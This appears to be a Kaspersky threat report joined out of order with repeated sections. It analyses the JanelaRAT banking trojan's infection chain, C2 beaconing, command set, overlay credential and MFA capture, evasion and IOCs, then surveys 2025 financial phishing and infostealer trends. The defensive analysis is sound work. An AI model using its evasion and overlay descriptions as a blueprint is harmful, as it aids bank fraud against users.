In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

